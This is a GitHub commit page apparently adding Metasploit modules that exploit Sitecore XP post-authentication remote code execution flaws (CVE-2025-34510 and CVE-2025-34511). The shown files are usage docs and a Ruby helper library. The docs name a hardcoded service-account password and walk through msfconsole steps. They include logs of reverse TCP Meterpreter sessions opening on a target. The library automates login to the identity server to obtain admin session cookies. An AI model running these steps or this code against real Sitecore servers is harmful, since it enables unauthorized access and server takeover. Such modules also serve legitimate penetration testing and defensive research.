Skip to content

Commit 96a8314

Browse files
authored
Merge pull request #20479 from msutovsky-r7/exploit/sitecore/postauth-rce
Adds modules for Sitecore XP post-auth remote code executions (CVE-2025-34510, CVE-2025-34511)
2 parents dd7c491 + a3a1e14 commit 96a8314

File tree

6 files changed

+757
-0
lines changed

6 files changed

+757
-0
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Vulnerable Application
2+
3+
The Sitecore Experience Platform (XP) is a flagship CMS product.
4+
Provides comprehensive digital marketing tools, view of customer data and many other features.
5+
Sitecore deploys multiple default service accounts when installing, among them is an account called ServicesAPI.
6+
The versions from 10 to 10.4 have a hardcoded password for this account - the password is the letter b (CVE-2025-34509).
7+
This account is used to gain access and exploit an additional vulnerability - a path traversal in zip extraction (CVE-2025-34510).
8+
This module exploits both vulnerabilities to gain remote code execution by uploading malicious ASPX into the root directory of the webserver.
9+
10+
### Installation
11+
12+
The Sitecore XP can be downloaded from [here](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform).
13+
Please note that a license is required for successful installation.
14+
15+
16+
## Verification Steps
17+
18+
1. Install the application
19+
1. Start msfconsole
20+
1. Do: `use exploit/windows/http/sitecore_xp_cve_2025_34510`
21+
1. Do: `set RHOSTS [Sitecore XP IP address]`
22+
1. Do: `set VHOST [Sitecore XP hostname]`
23+
1. Do: `set IDENTITY_VHOST [hostname of Sitecore XP identity server]`
24+
1. Do: `set LHOST [attacker IP]`
25+
1. Do: `run`
26+
27+
## Options
28+
29+
30+
### VHOST
31+
32+
The hostname of Sitecore XP.
33+
When installed, Sitecore XP deploys multiple vhosts, among them is the Sitecore XP host, where a user can access majority of functions.
34+
35+
36+
### IDENTITY_VHOST
37+
38+
The Sitecore XP uses separate vhost for "identity host", which is used when user is authenticating and asking for session data.
39+
If you are not sure about `IDENTITY_VHOST`, you can visit `https://[sitecore instance]/identity/login/shell/SitecoreIdentityServer`.
40+
The hostname of page where the URL will redirect you can be used as `IDENTITY_VHOST`.
41+
42+
## Scenarios
43+
44+
```
45+
msf exploit(windows/http/sitecore_xp_cve_2025_34510) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
46+
msf exploit(windows/http/sitecore_xp_cve_2025_34510) > run verbose=true
47+
[*] Started reverse TCP handler on 192.168.3.7:4444
48+
[*] Running automatic check ("set AutoCheck false" to disable)
49+
[+] The target is vulnerable. Sitecore version detected 10.3.0, which is vulnerable
50+
[*] Sending stage (203846 bytes) to 10.5.132.138
51+
[*] Meterpreter session 2 opened (192.168.3.7:4444 -> 10.5.132.138:50530) at 2025-08-26 13:05:53 +0200
52+
53+
meterpreter > sysinfo
54+
Computer : WIN11_22H2_0800
55+
OS : Windows 11 22H2 (10.0 Build 22621).
56+
Architecture : x64
57+
System Language : en_US
58+
Domain : WORKGROUP
59+
Logged On Users : 2
60+
Meterpreter : x64/windows
61+
meterpreter > getuid
62+
Server username: IIS APPPOOL\sitecorepocsc.dev.local
63+
```
Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
## Vulnerable Application
2+
3+
The Sitecore Experience Platform (XP) is a flagship CMS product.
4+
Provides comprehensive digital marketing tools, view of customer data and many other features.
5+
A user can install multiple extensions to Sitecore XP - among them is Sitecore PowerShell Extension (SPA).
6+
It is obligatory requirement for popular SXA add-on.
7+
The SPA is vulnerable to an unrestricted file upload up to version 7.0.
8+
An attacker can upload malicious ASPX file and gain remote code execution.
9+
10+
11+
### Installation
12+
13+
The Sitecore XP can be downloaded from [here](https://developers.sitecore.com/downloads/Sitecore_Experience_Platform).
14+
Please note that a license is required for successful installation.
15+
16+
17+
## Verification Steps
18+
19+
1. Install the application
20+
1. Start msfconsole
21+
1. Do: `use exploit/windows/http/sitecore_xp_cve_2025_34511`
22+
1. Do: `set RHOSTS [Sitecore XP IP address]`
23+
1. Do: `set VHOST [Sitecore XP hostname]`
24+
1. Do: `set IDENTITY_VHOST [hostname of Sitecore XP identity server]`
25+
1. Do: `set LHOST [attacker IP]`
26+
1. Do: `run`
27+
28+
## Options
29+
30+
31+
### VHOST
32+
33+
The hostname of Sitecore XP.
34+
When installed, Sitecore XP deploys multiple vhosts, among them is the Sitecore XP host, where a user can access majority of functions.
35+
36+
37+
### IDENTITY_VHOST
38+
39+
The Sitecore XP uses separate vhost for "identity host", which is used when user is authenticating and asking for session data.
40+
If you are not sure about `IDENTITY_VHOST`, you can visit `https://[sitecore instance]/identity/login/shell/SitecoreIdentityServer`.
41+
The hostname of page where the URL will redirect you can be used as `IDENTITY_VHOST`.
42+
43+
44+
## Scenarios
45+
46+
47+
```
48+
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
49+
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set RHOSTS 10.5.132.138
50+
RHOSTS => 10.5.132.138
51+
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set VHOST sitecorepocsc.dev.local
52+
VHOST => sitecorepocsc.dev.local
53+
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > set IDENTITY_VHOST sitecorepocidentityserver.dev.local
54+
IDENTITY_VHOST => sitecorepocidentityserver.dev.local
55+
msf exploit(windows/http/sitecore_xp_cve_2025_34511) > run verbose=true
56+
[*] Started reverse TCP handler on 192.168.3.7:4444
57+
[*] Running automatic check ("set AutoCheck false" to disable)
58+
[+] The target is vulnerable. Sitecore version detected 10.3.0, which is vulnerable
59+
[*] Sending stage (203846 bytes) to 10.5.132.138
60+
[*] Meterpreter session 1 opened (192.168.3.7:4444 -> 10.5.132.138:50194) at 2025-08-26 12:58:22 +0200
61+
62+
meterpreter > sysinfo
63+
Computer : WIN11_22H2_0800
64+
OS : Windows 11 22H2 (10.0 Build 22621).
65+
Architecture : x64
66+
System Language : en_US
67+
Domain : WORKGROUP
68+
Logged On Users : 2
69+
Meterpreter : x64/windows
70+
meterpreter > getuid
71+
Server username: IIS APPPOOL\sitecorepocsc.dev.local
72+
```
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
module Msf::Exploit::Remote::HTTP::Sitecore::Error
2+
class ClientError < ::StandardError
3+
def initialize(message: nil)
4+
super(message || 'SitecoreXP Error')
5+
end
6+
end
7+
8+
class UnexpectedReplySitecore < ClientError
9+
def initialzie(message = 'Received unexpected reply from Sitecore')
10+
super(message: message)
11+
end
12+
end
13+
end
Lines changed: 124 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,124 @@
1+
module Msf
2+
class Exploit
3+
class Remote
4+
module HTTP
5+
module SitecoreXp
6+
include Msf::Exploit::Remote::HttpClient
7+
include Msf::Exploit::Remote::HTTP::Sitecore::Error
8+
9+
def initialize(info = {})
10+
super
11+
register_options([OptString.new('IDENTITY_VHOST', [true, 'Hostname of Sitecore identity server']) ])
12+
end
13+
14+
#
15+
# Identifies against identity server. The Sitecore XP uses separate vhost to authenticate and gain session cookies.
16+
#
17+
def login_identitysrv(username, password)
18+
res = send_request_cgi({
19+
'uri' => normalize_uri(target_uri.path, 'Account', 'Login'),
20+
'method' => 'GET',
21+
'vhost' => datastore['IDENTITY_VHOST'],
22+
'keep_cookies' => 'true'
23+
})
24+
25+
raise UnexpectedReplySitecore unless res&.code == 200
26+
27+
hidden_inputs = res.get_hidden_inputs
28+
29+
verification_token = hidden_inputs.dig(0, '__RequestVerificationToken')
30+
31+
res = send_request_cgi({
32+
'method' => 'POST',
33+
'uri' => normalize_uri(target_uri.path, 'Account', 'Login'),
34+
'vhost' => datastore['IDENTITY_VHOST'],
35+
'vars_post' => {
36+
'Username' => username,
37+
'Password' => password,
38+
'__RequestVerificationToken' => verification_token,
39+
'ReturnUrl' => '',
40+
'AccountPrefix' => 'sitecore\\',
41+
'button' => 'login',
42+
'RememberLogin' => 'false'
43+
},
44+
'keep_cookies' => true
45+
})
46+
47+
res&.code == 302 && !res.get_cookies.blank?
48+
end
49+
50+
def get_identity_cookies
51+
res = send_request_cgi({
52+
'method' => 'POST',
53+
'uri' => normalize_uri('identity', 'externallogin'),
54+
'vars_get' => {
55+
'authenticationType' => 'SitecoreIdentityServer',
56+
'ReturnUrl' => '',
57+
'sc_site' => 'admin'
58+
},
59+
'keep_cookies' => true
60+
})
61+
return false unless res&.code == 302
62+
63+
location_target = res.headers.fetch('Location', nil)
64+
65+
return false unless location_target
66+
67+
location_target =~ %r{://([a-zA-Z0-9._]+)/}
68+
identity_vhost = Regexp.last_match(1)
69+
proto = datastore['ssl'] ? 'https' : 'http'
70+
identity_uri = location_target.sub("#{proto}://#{identity_vhost}", '')
71+
72+
res = send_request_cgi!({
73+
'method' => 'GET',
74+
'uri' => identity_uri,
75+
'vhost' => identity_vhost,
76+
'keep_cookies' => true
77+
})
78+
79+
return false unless res&.code == 200
80+
81+
hidden_inputs = res.get_hidden_inputs
82+
83+
res = send_request_cgi({
84+
'method' => 'POST',
85+
'uri' => normalize_uri('identity', 'signin'),
86+
'vars_post' => hidden_inputs[0],
87+
'keep_cookies' => true
88+
})
89+
return false unless res&.code == 302
90+
91+
res = send_request_cgi({
92+
'method' => 'GET',
93+
'uri' => normalize_uri('identity', 'externallogincallback'),
94+
'vars_get' => {
95+
'ReturnUrl' => '',
96+
'sc_site' => 'admin',
97+
'authenticationSource' => 'Default'
98+
},
99+
'keep_cookies' => true
100+
})
101+
102+
res&.code == 302 && res.headers.fetch('Location', nil)&.include?('sitecore/admin')
103+
end
104+
105+
def get_version
106+
res = send_request_cgi({
107+
'uri' => normalize_uri('sitecore', 'shell', 'sitecore.version.xml'),
108+
'method' => 'GET'
109+
})
110+
return nil unless res&.code == 200 && res.body.include?('<version>')
111+
112+
xml_document = res.get_xml_document
113+
114+
major_version = xml_document.at('information//version//major').text
115+
minor_version = xml_document.at('information//version//minor').text
116+
build_version = xml_document.at('information//version//build').text
117+
118+
return Rex::Version.new("#{major_version}.#{minor_version}.#{build_version}")
119+
end
120+
end
121+
end
122+
end
123+
end
124+
end

0 commit comments

Comments
 (0)